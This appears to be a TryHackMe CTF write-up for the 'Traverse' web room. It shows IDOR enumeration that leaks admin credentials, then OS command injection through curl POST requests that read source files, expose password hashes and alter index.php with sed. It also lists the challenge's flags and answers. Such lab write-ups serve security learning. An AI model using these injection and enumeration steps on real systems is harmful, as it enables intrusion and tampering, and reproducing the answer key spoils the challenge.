Table of Contents
Traverse — TryHackMe CTF Writeup #
Platform: TryHackMe
Category: Web
Difficulty: Easy/Medium
Date: 2026-03-22
Author: t0nt0n
Reading time: ~8 min
Overview #
Traverse is a web exploitation challenge built around a tourism website. The attack chain goes from directory listing and JS deobfuscation, through IDOR on an API endpoint to grab admin credentials, all the way to OS command injection on the admin panel and restoring a defaced page via a hidden file manager.
Reconnaissance #
Initial visit to http://<TARGET>/ reveals a defaced page showing "FINALLY HACKED!!!". Viewing the HTML source exposes two commented-out paths:
1<!-- <li><a href="/img">Logs</a></li> Please keep all images in this folder -->
2<!-- <li><a href="./logs">Logs</a></li> DevOps team to check and remove it later on -->
Directory listing — /logs/ #
The /logs/ directory has listing enabled, exposing email_dump.txt.
email_dump.txt contents
From: Bob
To: Mark (software team lead)
The API directory is named after the first phase of the SSDLC.
This page is password protected and can only be opened through the key. THM{100100111}
Key findings:
- The API folder is named
planning(first SSDLC phase) - A password key is embedded in the email
JavaScript deobfuscation — custom.min.js #
The JS file uses hexadecimal encoding. Decoding it reveals:
1var n="DIRECTORY"; var e="LISTING"; var o="IS THE"; var i="ONLY WAY";
2// ...
3console.log("Flag:" + n + " " + e + " " + o + " " + i);
Running it in the browser console outputs the first flag.
IDOR — /api/?customer_id= #
The API endpoint is vulnerable to IDOR. Iterating the customer_id parameter:
1curl http://<TARGET>/api/?customer_id=5 # → john@traverse.com
2curl http://<TARGET>/api/?customer_id=3 # → admin user
API response for customer_id=3 (admin credentials)
1{
2 "id": "3",
3 "name": "admin",
4 "email": "realadmin@traverse.com",
5 "password": "admin_key!!!",
6 "loginURL": "/realadmin",
7 "isadmin": "1",
8 "role": "admin"
9}
Exploitation #
Admin panel — /realadmin #
Logged in at /realadmin with realadmin@traverse.com / admin_key!!!.
The admin panel at /realadmin/main.php exposes a command execution form (dropdown with whoami / pwd). The HTML source also contains a commented-out free-text input:
1<!--<input type="text" name="cmd" ...>-->
OS command injection via commands parameter #
The commands POST parameter is injectable with semicolons. Using the active session cookie:
1curl -X POST http://<TARGET>/realadmin/main.php \
2 --cookie "PHPSESSID=<SESSION>" \
3 -d "commands=ls"
Output reveals the attacker's files:
index.php
main.php
renamed_file_manager.php
thm_shell.php
Reading the file manager source #
1curl -X POST http://<TARGET>/realadmin/main.php \
2 --cookie "PHPSESSID=<SESSION>" \
3 -d "commands=cat renamed_file_manager.php" | grep "auth_users" -A3
Credentials found in renamed_file_manager.php
1$auth_users = array(
2 'admin' => '$2y$10$7I5BYtzKiWD7Gqip7ZoGvuN.nRb0EJAqJh8CZgRcHkNXZSQgTpFPu', //admin@123
3 'user' => '$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO' //12345
4);
File manager password for admin: admin@123 (visible in source comment).
Restoring the defaced page #
Reading /var/www/html/index.php via command injection:
1curl -X POST http://<TARGET>/realadmin/main.php \
2 --cookie "PHPSESSID=<SESSION>" \
3 -d "commands=cat ../index.php"
The PHP logic is:
1$message = "FINALLY HACKED";
2if($message != "FINALLY HACKED"){
3 echo 'SUCCESSFULLY RESTORED WEBSITE FLAG: THM{WEBSITE_RESTORED}';
4}
Patching the file directly via sed (targeting only the variable assignment):
1curl -X POST http://<TARGET>/realadmin/main.php \
2 --cookie "PHPSESSID=<SESSION>" \
3 -d 'commands=sed -i "s/\$message = \"FINALLY HACKED\"/\$message = \"\"/" ../index.php'
Visiting http://<TARGET>/ now renders the restored flag.
Answers #
Q1 — Encoding type used to obfuscate JS: Hexadecimal
Q2 — Flag after deobfuscating:
Reveal Flag
DIRECTORY LISTING IS THE ONLY WAY
Q3 — Name of the email dump file: email_dump.txt
Q4 — Directory Bob created: planning
Q5 — Key for Bob's directory:
Reveal Flag
THM{100100111}
Q6 — Email address for ID 5: john@traverse.com
Q7 — ID of the admin user: 3
Q8 — Admin login endpoint: /realadmin
Q9 — Web shell name: thm_shell.php
Q10 — Renamed file manager: renamed_file_manager.php
Q11 — Flag after restoring website:
Reveal Flag
THM{WEBSITE_RESTORED}
Tools Used #
curl— HTTP requests, authentication, command injection- Browser DevTools — JS console for deobfuscation, view-source
- Manual IDOR enumeration on API endpoint
What Didn't Work #
commands=whoami;cat /flag.txt— no flag at/flag.txt, wrong path assumption- File manager login via curl — CSRF token is session-bound; first attempt reused a stale token causing repeated login failures. Bypassed entirely by using command injection to edit files directly.
admin_key!!!as file manager password — wrong password; actual password (admin@123) was found as a comment in the PHP source
Lessons Learned #
- Always enumerate commented-out HTML paths — they often lead to forgotten directories with directory listing enabled
- Hex-encoded JS is trivial to decode; running it in the browser console is the fastest approach
- IDOR on sequential integer IDs is low-hanging fruit — always iterate the full range
- When a web app gives you OS command execution, reading source files directly is faster than trying to authenticate through the app's own login forms
- CSRF tokens tied to sessions require capturing a fresh token in the same session before POSTing — or just bypass the auth entirely if you have RCE